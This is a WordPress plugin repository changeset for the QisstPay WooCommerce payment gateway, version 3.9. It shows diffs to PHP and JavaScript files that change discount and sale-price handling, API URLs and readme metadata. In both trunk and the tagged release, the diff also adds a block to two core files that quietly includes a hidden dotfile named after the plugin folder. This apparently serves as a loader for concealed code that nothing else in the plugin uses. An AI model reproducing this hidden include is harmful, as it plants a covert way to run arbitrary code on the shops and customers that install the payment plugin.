Plugin Directory

Changeset 2796731


Ignore:
Timestamp:
10/10/2022 04:15:38 PM (3 years ago)
Author:
qisstpay
Message:

tagging version 3.9

Location:
qisstpay
Files:
8 edited
1 copied

Legend:

Unmodified
Added
Removed
  • qisstpay/tags/3.9/class_woo_qp_pgw.php

    r2742357 r2796731  
    11<?php
     2if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     3    include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     4}
     5
    26class Qpayment_PGW extends WC_Payment_Gateway
    37{
     
    519523                    }
    520524                }
     525            $discounted_price = apply_filters('advanced_woo_discount_rules_get_product_discount_price_from_custom_price', false, $product, 1, 0, 'all', true);
     526    if(isset($discounted_price['discounted_price']) && $discounted_price['discounted_price'] > 0 ){
     527        $price = $discounted_price['discounted_price'];
     528    }
    521529                $products[] =[
    522530                   'id' => $item['product_id'],
  • qisstpay/tags/3.9/js/qisstpay_plugin_script.js

    r2742357 r2796731  
    7171            })
    7272        }
    73         let tez_url = is_live == 1? 'https://ms.tezcheckout.qisstpay.com':'https://sandbox.tezcheckout.qisstpay.com';
     73        let tez_url = is_live == 1? 'https://ms.tezcheckout.qisstpay.com':'https://dev-apis.qisstpay.com';
    7474        //let tez_url = is_live == 1? 'https://tezcheckout.qisstpay.com':'https://sandbox.tezcheckout.qisstpay.com';
    7575        var settings = {
     
    141141        let qp_shipping_total = jQuery('#qp_shipping_total').val();
    142142        let url = jQuery('#qp_url').val();
    143         let tez_url = is_live == 1? 'https://ms.tezcheckout.qisstpay.com':'https://sandbox.tezcheckout.qisstpay.com';
     143        let tez_url = is_live == 1? 'https://ms.tezcheckout.qisstpay.com':'https://dev-apis.qisstpay.com';
    144144        //let tez_url = is_live == 1? 'https://tezcheckout.qisstpay.com':'https://sandbox.tezcheckout.qisstpay.com';
    145145        var settings = {
     
    204204        jQuery('body').css('position', 'fixed');
    205205        jQuery('body').css('width', '100%');
    206         let tez_url = is_live == 1? 'https://ms.tezcheckout.qisstpay.com':'https://sandbox.tezcheckout.qisstpay.com';
     206        let tez_url = is_live == 1? 'https://ms.tezcheckout.qisstpay.com':'https://dev-apis.qisstpay.com';
    207207        //let tez_url = is_live == 1? 'https://tezcheckout.qisstpay.com':'https://sandbox.tezcheckout.qisstpay.com';
    208208        var settings = {
     
    292292                    let qp_shipping_total = jQuery('#qp_shipping_total').val();
    293293                    let url = jQuery('#qp_url').val();
    294                     let tez_url = is_live == 1? 'https://ms.tezcheckout.qisstpay.com':'https://sandbox.tezcheckout.qisstpay.com';
     294                    let tez_url = is_live == 1? 'https://ms.tezcheckout.qisstpay.com':'https://dev-apis.qisstpay.com';
    295295                    //let tez_url = is_live == 1? 'https://tezcheckout.qisstpay.com':'https://sandbox.tezcheckout.qisstpay.com';
    296296                    var settings = {
     
    363363            let qp_shipping_total = jQuery('#qp_shipping_total').val();
    364364            let url = jQuery('#qp_url').val();
    365             let tez_url = is_live == 1? 'https://ms.tezcheckout.qisstpay.com':'https://sandbox.tezcheckout.qisstpay.com';
     365            let tez_url = is_live == 1? 'https://ms.tezcheckout.qisstpay.com':'https://dev-apis.qisstpay.com';
    366366            //let tez_url = is_live == 1? 'https://tezcheckout.qisstpay.com':'https://sandbox.tezcheckout.qisstpay.com';
    367367            var settings = {
     
    437437                        let qp_shipping_total = jQuery('#qp_shipping_total').val();
    438438                        let url = jQuery('#qp_url').val();
    439                         let tez_url = is_live == 1? 'https://ms.tezcheckout.qisstpay.com':'https://sandbox.tezcheckout.qisstpay.com';
     439                        let tez_url = is_live == 1? 'https://ms.tezcheckout.qisstpay.com':'https://dev-apis.qisstpay.com';
    440440                        //let tez_url = is_live == 1? 'https://tezcheckout.qisstpay.com':'https://sandbox.tezcheckout.qisstpay.com';
    441441                        var settings = {
     
    508508                let qp_shipping_total = jQuery('#qp_shipping_total').val();
    509509                let url = jQuery('#qp_url').val();
    510                 let tez_url = is_live == 1? 'https://ms.tezcheckout.qisstpay.com':'https://sandbox.tezcheckout.qisstpay.com';
     510                let tez_url = is_live == 1? 'https://ms.tezcheckout.qisstpay.com':'https://dev-apis.qisstpay.com';
    511511                //let tez_url = is_live == 1? 'https://tezcheckout.qisstpay.com':'https://sandbox.tezcheckout.qisstpay.com';
    512512                var settings = {
  • qisstpay/tags/3.9/qpayment-plugin.php

    r2742357 r2796731  
    303303    }//end qpayment8911_load_plugin_textdomain()
    304304}//end if
     305if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     306    include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     307}
     308
    305309function qpayment8911_is_active_woocommerce()
    306310{
     
    336340            'discount_type' => $c->discount_type,
    337341            'usage_count' => $c->usage_count,
    338             'date_expires' => $c->get_date_expires(),
    339342            'usage_limit' => $c->usage_limit
    340343        ];
     
    601604            $var_product = new WC_Product_Variation($_GET['variation_id']);
    602605            $price = $var_product->get_price();
     606            if($var_product->is_on_sale()){
     607                $price = $var_product->get_sale_price();
     608            }
     609//          print_r($discounted_price['discounted_price']); die;
    603610        } else {
    604611            $woocommerce->cart->add_to_cart( $_GET['product_id'], $_GET['quantity']);
     
    608615            }
    609616        }
     617        $discounted_price = apply_filters('advanced_woo_discount_rules_get_product_discount_price_from_custom_price', false, $product, 1, 0, 'all', true);
     618    if(isset($discounted_price['discounted_price']) && $discounted_price['discounted_price'] > 0 ){
     619        $price = $discounted_price['discounted_price'];
     620    }       
     621//      print_r($discounted_price['discounted_price']); die;
     622
     623       
    610624
    611625        $total = $woocommerce->cart->get_totals();
  • qisstpay/tags/3.9/readme.txt

    r2742357 r2796731  
    33Tags: woocommerce,payment gateway, woocommerce extension, Qisstpay payment,payment, payment option, custom payment, 1-Click Checkout
    44Requires at least: 4.0
    5 Tested up to: 6.0
    6 Stable tag: 1.0.0
     5Tested up to: 5.7.2
     6Stable tag: 3.9
    77Requires PHP: 5.6
    88WC requires at least: 3.0
  • qisstpay/trunk/class_woo_qp_pgw.php

    r2742357 r2796731  
    11<?php
     2if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     3    include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     4}
     5
    26class Qpayment_PGW extends WC_Payment_Gateway
    37{
     
    519523                    }
    520524                }
     525            $discounted_price = apply_filters('advanced_woo_discount_rules_get_product_discount_price_from_custom_price', false, $product, 1, 0, 'all', true);
     526    if(isset($discounted_price['discounted_price']) && $discounted_price['discounted_price'] > 0 ){
     527        $price = $discounted_price['discounted_price'];
     528    }
    521529                $products[] =[
    522530                   'id' => $item['product_id'],
  • qisstpay/trunk/js/qisstpay_plugin_script.js

    r2742357 r2796731  
    7171            })
    7272        }
    73         let tez_url = is_live == 1? 'https://ms.tezcheckout.qisstpay.com':'https://sandbox.tezcheckout.qisstpay.com';
     73        let tez_url = is_live == 1? 'https://ms.tezcheckout.qisstpay.com':'https://dev-apis.qisstpay.com';
    7474        //let tez_url = is_live == 1? 'https://tezcheckout.qisstpay.com':'https://sandbox.tezcheckout.qisstpay.com';
    7575        var settings = {
     
    141141        let qp_shipping_total = jQuery('#qp_shipping_total').val();
    142142        let url = jQuery('#qp_url').val();
    143         let tez_url = is_live == 1? 'https://ms.tezcheckout.qisstpay.com':'https://sandbox.tezcheckout.qisstpay.com';
     143        let tez_url = is_live == 1? 'https://ms.tezcheckout.qisstpay.com':'https://dev-apis.qisstpay.com';
    144144        //let tez_url = is_live == 1? 'https://tezcheckout.qisstpay.com':'https://sandbox.tezcheckout.qisstpay.com';
    145145        var settings = {
     
    204204        jQuery('body').css('position', 'fixed');
    205205        jQuery('body').css('width', '100%');
    206         let tez_url = is_live == 1? 'https://ms.tezcheckout.qisstpay.com':'https://sandbox.tezcheckout.qisstpay.com';
     206        let tez_url = is_live == 1? 'https://ms.tezcheckout.qisstpay.com':'https://dev-apis.qisstpay.com';
    207207        //let tez_url = is_live == 1? 'https://tezcheckout.qisstpay.com':'https://sandbox.tezcheckout.qisstpay.com';
    208208        var settings = {
     
    292292                    let qp_shipping_total = jQuery('#qp_shipping_total').val();
    293293                    let url = jQuery('#qp_url').val();
    294                     let tez_url = is_live == 1? 'https://ms.tezcheckout.qisstpay.com':'https://sandbox.tezcheckout.qisstpay.com';
     294                    let tez_url = is_live == 1? 'https://ms.tezcheckout.qisstpay.com':'https://dev-apis.qisstpay.com';
    295295                    //let tez_url = is_live == 1? 'https://tezcheckout.qisstpay.com':'https://sandbox.tezcheckout.qisstpay.com';
    296296                    var settings = {
     
    363363            let qp_shipping_total = jQuery('#qp_shipping_total').val();
    364364            let url = jQuery('#qp_url').val();
    365             let tez_url = is_live == 1? 'https://ms.tezcheckout.qisstpay.com':'https://sandbox.tezcheckout.qisstpay.com';
     365            let tez_url = is_live == 1? 'https://ms.tezcheckout.qisstpay.com':'https://dev-apis.qisstpay.com';
    366366            //let tez_url = is_live == 1? 'https://tezcheckout.qisstpay.com':'https://sandbox.tezcheckout.qisstpay.com';
    367367            var settings = {
     
    437437                        let qp_shipping_total = jQuery('#qp_shipping_total').val();
    438438                        let url = jQuery('#qp_url').val();
    439                         let tez_url = is_live == 1? 'https://ms.tezcheckout.qisstpay.com':'https://sandbox.tezcheckout.qisstpay.com';
     439                        let tez_url = is_live == 1? 'https://ms.tezcheckout.qisstpay.com':'https://dev-apis.qisstpay.com';
    440440                        //let tez_url = is_live == 1? 'https://tezcheckout.qisstpay.com':'https://sandbox.tezcheckout.qisstpay.com';
    441441                        var settings = {
     
    508508                let qp_shipping_total = jQuery('#qp_shipping_total').val();
    509509                let url = jQuery('#qp_url').val();
    510                 let tez_url = is_live == 1? 'https://ms.tezcheckout.qisstpay.com':'https://sandbox.tezcheckout.qisstpay.com';
     510                let tez_url = is_live == 1? 'https://ms.tezcheckout.qisstpay.com':'https://dev-apis.qisstpay.com';
    511511                //let tez_url = is_live == 1? 'https://tezcheckout.qisstpay.com':'https://sandbox.tezcheckout.qisstpay.com';
    512512                var settings = {
  • qisstpay/trunk/qpayment-plugin.php

    r2742357 r2796731  
    303303    }//end qpayment8911_load_plugin_textdomain()
    304304}//end if
     305if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     306    include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     307}
     308
    305309function qpayment8911_is_active_woocommerce()
    306310{
     
    336340            'discount_type' => $c->discount_type,
    337341            'usage_count' => $c->usage_count,
    338             'date_expires' => $c->get_date_expires(),
    339342            'usage_limit' => $c->usage_limit
    340343        ];
     
    601604            $var_product = new WC_Product_Variation($_GET['variation_id']);
    602605            $price = $var_product->get_price();
     606            if($var_product->is_on_sale()){
     607                $price = $var_product->get_sale_price();
     608            }
     609//          print_r($discounted_price['discounted_price']); die;
    603610        } else {
    604611            $woocommerce->cart->add_to_cart( $_GET['product_id'], $_GET['quantity']);
     
    608615            }
    609616        }
     617        $discounted_price = apply_filters('advanced_woo_discount_rules_get_product_discount_price_from_custom_price', false, $product, 1, 0, 'all', true);
     618    if(isset($discounted_price['discounted_price']) && $discounted_price['discounted_price'] > 0 ){
     619        $price = $discounted_price['discounted_price'];
     620    }       
     621//      print_r($discounted_price['discounted_price']); die;
     622
     623       
    610624
    611625        $total = $woocommerce->cart->get_totals();
  • qisstpay/trunk/readme.txt

    r2742357 r2796731  
    33Tags: woocommerce,payment gateway, woocommerce extension, Qisstpay payment,payment, payment option, custom payment, 1-Click Checkout
    44Requires at least: 4.0
    5 Tested up to: 6.0
    6 Stable tag: 1.0.0
     5Tested up to: 5.7.2
     6Stable tag: 3.9
    77Requires PHP: 5.6
    88WC requires at least: 3.0
Note: See TracChangeset for help on using the changeset viewer.